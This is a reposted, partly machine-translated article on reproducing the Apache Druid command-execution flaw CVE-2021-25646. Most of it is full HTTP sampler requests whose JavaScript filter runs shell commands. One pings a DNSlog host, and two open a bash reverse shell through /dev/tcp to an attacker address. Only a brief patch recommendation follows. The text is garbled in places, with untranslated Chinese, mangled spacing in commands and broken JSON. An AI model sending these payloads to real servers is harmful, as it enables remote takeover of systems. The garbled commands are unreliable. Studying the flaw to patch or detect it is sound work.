Shulou(Shulou.com)05/31 Report--

This article is about how to reproduce the Apache Druid command execution vulnerability CVE-2021-25646. The editor thinks it is very practical, so I share it with you. I hope you can get something after reading this article. Let's take a look at it.

Apache Druid command execution vulnerability (CVE-2021-25646)

I. description of vulnerabilities

Apache Druid includes code that executes user-provided JavaScript functions embedded in various types of requests. This feature is disabled by default when used in high-trust environments. However, in Druid 0.20.0 and earlier, authenticated users send malicious requests that can be exploited by Apache Druid to execute arbitrary code. An attacker can directly construct a malicious request to execute arbitrary code and control the server.

Second, influence the version

Apache Druid

< 0.20.1 三、漏洞环境&漏洞复现 Docker环境： dockerpull fokkodriesprong/docker-druid dockerrun --rm -i -p 8888:8888 fokkodriesprong/docker-druid 启动访问： 漏洞复现： POC: POST /druid/indexer/v1/sampler HTTP/1.1Host: ip:protUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0Accept: application/json, text/plain, */*Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Content-Type: application/jsonContent-Length: 1045Connection: close{"type": "index", "spec": {"ioConfig": {"type": "index", "inputSource": {"type": "inline", "data": "{\"isRobot\":true,\"channel\":\"#x\",\"timestamp\":\"2020-12-12T12:10:21.040Z\",\"flags\":\"x\",\"isUnpatrolled\":false,\"page\":\"1\",\"diffUrl\":\"https://xxx.com\",\"added\":1,\"comment\":\"Botskapande Indonesien omdirigering\",\"commentLength\":35,\"isNew\":true,\"isMinor\":false,\"delta\":31,\"isAnonymous\":true,\"user\":\"Lsjbot\",\"deltaBucket\":0,\"deleted\":0,\"namespace\":\"Main\"}"}, "inputFormat": {"type": "json", "keepNullColumns": true}}, "dataSchema": {"dataSource": "sample", "timestampSpec": {"column": "timestamp", "format": "iso"}, "dimensionsSpec": {}, "transformSpec": {"transforms": [], "filter": {"type": "javascript", "dimension": "added", "function": "function(value) {java.lang.Runtime.getRuntime().exec('/bin/bash -c $@|bash 0 echo bash -i >

& / dev/tcp/ip/port 0 > & 1')} ",": {" enabled ": true}," type ":" index "," tuningConfig ": {" type ":" index "}}," samplerConfig ": {" numRows ": 500," timeoutMs ": 15000}

1 、 DNSlog:

DNS record:

Specific packets:

POST / druid/indexer/v1/sampler HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0Accept: application/json, text/plain, * / * Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en Q=0.2Content-Type: application/jsonContent-Length: 1018Connection: close {"type": "index", "spec": {"ioConfig": {"type": "index", "inputSource": {"type": "inline", "data": "{\" isRobot\ ": true,\" channel\ ":\" # x\ ",\" timestamp\ ":\" 2020-12-12T12:10:21.040Z\ ",\" flags\ ":\" x\ " \ "isUnpatrolled\": false,\ "page\":\ "1",\ "diffUrl\":\ "https://xxx.com\",\"added\":1,\"comment\":\"Botskapande Indonesien omdirigering\",\ "commentLength\": 35,\ "isNew\": true,\ "isMinor\": false,\ "delta\": 31,\ "isAnonymous\": true,\ "user\":\ "Lsjbot\",\ "deltaBucket\": 0,\ "deleted\": 0 \ "namespace\":\ "Main\"}, "inputFormat": {"type": "json", "keepNullColumns": true}}, "dataSchema": {"dataSource": "sample", "timestampSpec": {"column": "timestamp", "format": "iso"}, "dimensionsSpec": {}, "transformSpec": {"transforms": [], "filter": {"type": "javascript" "dimension": "added", "function": "function (value) {java.lang.Runtime.getRuntime (). Exec ('/ bin/bash-c $@ | bash 0 ping gpg7qd.dnslog.cn')}", "": {"enabled": true}, "type": "index", "tuningConfig": {"type": "index"}}, "samplerConfig": {"numRows": 500, "timeoutMs": 15000}}

2. Rebound shell operation

Specific packets:

POST / druid/indexer/v1/sampler HTTP/1.1Host: ip:protUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0Accept: application/json, text/plain, * / * Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en Q=0.2Content-Type: application/jsonContent-Length: 1045Connection: close {"type": "index", "spec": {"ioConfig": {"type": "index", "inputSource": {"type": "inline", "data": "{\" isRobot\ ": true,\" channel\ ":\" # x\ ",\" timestamp\ ":\" 2020-12-12T12:10:21.040Z\ ",\" flags\ ":\" x\ " \ "isUnpatrolled\": false,\ "page\":\ "1",\ "diffUrl\":\ "https://xxx.com\",\"added\":1,\"comment\":\"Botskapande Indonesien omdirigering\",\ "commentLength\": 35,\ "isNew\": true,\ "isMinor\": false,\ "delta\": 31,\ "isAnonymous\": true,\ "user\":\ "Lsjbot\",\ "deltaBucket\": 0,\ "deleted\": 0 \ "namespace\":\ "Main\"}, "inputFormat": {"type": "json", "keepNullColumns": true}}, "dataSchema": {"dataSource": "sample", "timestampSpec": {"column": "timestamp", "format": "iso"}, "dimensionsSpec": {}, "transformSpec": {"transforms": [], "filter": {"type": "javascript" "dimension": "added", "function": "function (value) {java.lang.Runtime.getRuntime (). Exec ('/ bin/bash-c $@ | bash 0 echo bash-I > & / dev/tcp/ip/port 0 > & 1')}", "": {"enabled": true}, "type": "index", "tuningConfig": {"type": "index"}, "samplerConfig": {"numRows": "timeoutMs": 15000}}

Simple bounce script:

IV. Safety recommendations

It is recommended that users update Apache Druid in time. The download link is as follows:

Https://druid.apache.org/downloads.html

Https://github.com/apache/druid/releases/tag/druid-0.20.1

The above is how to reproduce the Apache Druid command execution vulnerability CVE-2021-25646. The editor believes that there are some knowledge points that we may see or use in our daily work. I hope you can learn more from this article. For more details, please follow the industry information channel.

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.